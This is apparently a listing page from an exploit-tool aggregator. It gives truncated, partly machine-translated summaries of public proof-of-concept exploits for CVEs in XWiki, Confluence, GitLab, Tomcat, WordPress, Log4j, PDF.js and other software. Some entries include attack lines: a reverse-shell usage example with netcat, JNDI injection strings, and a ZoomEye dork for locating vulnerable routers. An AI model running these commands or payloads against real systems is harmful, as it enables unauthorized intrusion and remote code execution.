CVE-2024-3400

CVE-2024-3400 Exploit pour GlobalProtect CVE-2024-3400 Cet exploit cible la vulnérabilité d'origine, donc le pare-feu doit exécuter une version vulnérable de PAN-OS et la télémétrie doit être activée. Réf : https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/...

cve-2025-57819

🛡️ FreePBX Hunter - CVE-2025-57819 🛡️ Мощный набор инструментов Nuclei для обнаружения и проверки критической уязвимости обхода аутентификации FreePBX. 📖 Оглавление Нажмите, чтобы развернуть О проекте Ключевые возможности Разбор уязвимости Шаблоны в действии Поиск целей с помощью Shodan Правовое...

CVE-2023-27163-POC

CVE-2023-27163 CVE-2023-27163 Request-baskets jusqu'à la version 1.2.1 a été découvert comme contenant une Server-Side Request Forgery SSRF via le composant /api/baskets/name. Cette vulnérabilité permet aux attaquants d'accéder à des ressources réseau et à des informations sensibles via une requê...

CVE-2021-22205

CVE-2021-22205 GitLab CE/EE RCE قبل التوثيق باستخدام ExifTool هذا المشروع مخصص للتعلم فقط، إذا تم انتهاك حقوق شخص ما، يرجى الاتصال بي لإزالة المشروع، والأهملا تستخدمه بشكل غير قانوني. إذا قمت بأي سلوك غير قانوني أثناء استخدام هذه الأداة، فستتحمل جميع العواقب بنفسك. جميع المطورين وجميع المساهمين ف...

CVE-2025-24893

CVE-2025-24893 Exploit d'exécution de code à distance pour XWiki pour les versions antérieures à 15.10.11, 16.4.1 et 16.5.0RC1. Utilisation root@kitploit: $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Utilisez-le uniquement à des fins...

CVE-2022-26134

POC - Injection OGNL dans Atlassian Confluence Conduisant à une Exécution de Code à Distance RCE CVE-2022-26134 Testé sur Confluence version 7.13.6 Configuration de l'environnement Clonez le dépôt root@kitploit: docker-compose up -d Sur http://localhost:8090, vous verrez Confluence opérationnel...

CVE-2021-22205

CVE-2021-22205 Outil CVE-2021-22205 RCE, réservé uniquement au partage et à la communication. Ne pas l'utiliser pour des tests non autorisés, sous peine de dégager l'auteur de toute responsabilité. root@kitploit: -R string VPS pour charger des outils, ex : -R 127.0.0.1:8083 -T string Nom de...

ghostcat

Cet outil exploite une vulnérabilité LFI dans Apache Tomcat nommée CVE-2020-1938 pour non seulement visualiser des fichiers sensibles, mais aussi exécuter des charges utiles JSP malveillantes. Il peut être téléchargé ici vous devrez l'exécuter depuis la ligne de commande Utilisation :...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Exemple d'injection de code à distance via CVE-2021-44228, par RMI et LDAP. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServe...

wordpress_cropimage

WordPress Crop-Image CVE-2019-8943 Un script python3 pour WordPress Crop-Image CVE-2019-8943 Exécution de code à distance RCE authentifiée. Il dépose une backdoor PHP malveillante. Pour commencer Exécution du programme RCE root@kitploit: python3 wprce.py -t http://wordpress.rce/ -u admin -p...

WhatsPayloadRCE

WhatsPayloadRCE Это автоматическая генерация полезной нагрузки для CVE-2019-11932 удалённое выполнение кода в WhatsApp 1. Автоматическая установка GCC безвредная команда, вы можете убедиться, что это открытый исходный код 2. Сохранение в .GIF файл Как использовать? root@kitploit: sudo apt install...

CVE-2024-4367-PoC

CVE-2024-4367 & CVE-2024-34342 : Exécution arbitraire de JavaScript dans PDF.js Un contrôle de type manquait lors du traitement des polices dans PDF.js, ce qui permettait une exécution arbitraire de JavaScript dans le contexte de PDF.js. Cette vulnérabilité affecte Firefox 126, Firefox ESR 115.11...

CVE-2024-23739

CVE-2024-23739 Un problème dans Discord jusqu'à la version 0.0.291 sur macOS permet à un attaquant distant d'exécuter du code arbitraire via les paramètres RunAsNode et enableNodeClilnspectArguments. Il existe un outil conçu pour automatiser la recherche de vulnérabilités dans Electron :...

ConfluentPwn

ConfluentPwn Scanner d'exécution de code à distance par injection ONGL pré-authentification Confluence CVE-2022-26134. Utilisation Le GIF ci-dessous montre une démonstration d'utilisation de l'outil : Voici la sortie d'aide de l'outil : root@kitploit: $ ./cfscan -h +------------------------------...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Python-скрипт для эксплуатации PlaySMS до версии 1.4.3 Выполнение Откройте порт на вашей машине: Затем выполните exploit.py: root@kitploit: ./exploit.py Изменение эксплойта Возможно, вы захотите изменить reverse shell, создаваемый exploit.py Для этого вы можете изменить...

Exploit-CVE-2024-31777

CVE-2024-31777 | Plateforme d'apprentissage en ligne GUnet OpenEclass - Preuve de concept PoC de téléversement de fichiers sans restriction 📜 Description Ce script présente une preuve de concept PoC pour CVE-2024-31777, une vulnérabilité de sécurité découverte dans la plateforme d'apprentissage e...

manticore

⚠️ Project is archived ⚠️ This project is no longer internally developed and maintained. Manticore Manticore is a symbolic execution tool for the analysis of smart contracts and binaries. Features Program Exploration : Manticore can execute a program with symbolic inputs and explore all the...

CVE-2024-29269

CVE-2024-29269 Ce CVE permet l'exécution non authentifiée de commandes système sur les routeurs TLR-2005KSH. Cet exploit exploite la vulnérabilité pour exécuter des commandes arbitraires sur les routeurs concernés. Dork ZoomEye :- title:"Login to TLR-2005KSH" Source:...

isf

Industrial Exploitation Framework ISFIndustrial Exploitation Framework is a exploitation framework based on Python, it's similar to metasploit framework. ISF is based on open source project routersploit. Read this in other languages:English, 简体中文, Disclaimer Usage of ISF for attacking targets...

SSE4-CVE-2022-22965

Spring Boot CVE-2022-22965 PoC Docker pour CVE-2022-22965 avec Spring Boot version 2.6.5 Pour commencer 1. Exécutez docker compose up --build pour construire et démarrer l'application vulnérable. 2. Exécutez curl -H "Accept: text/html;"...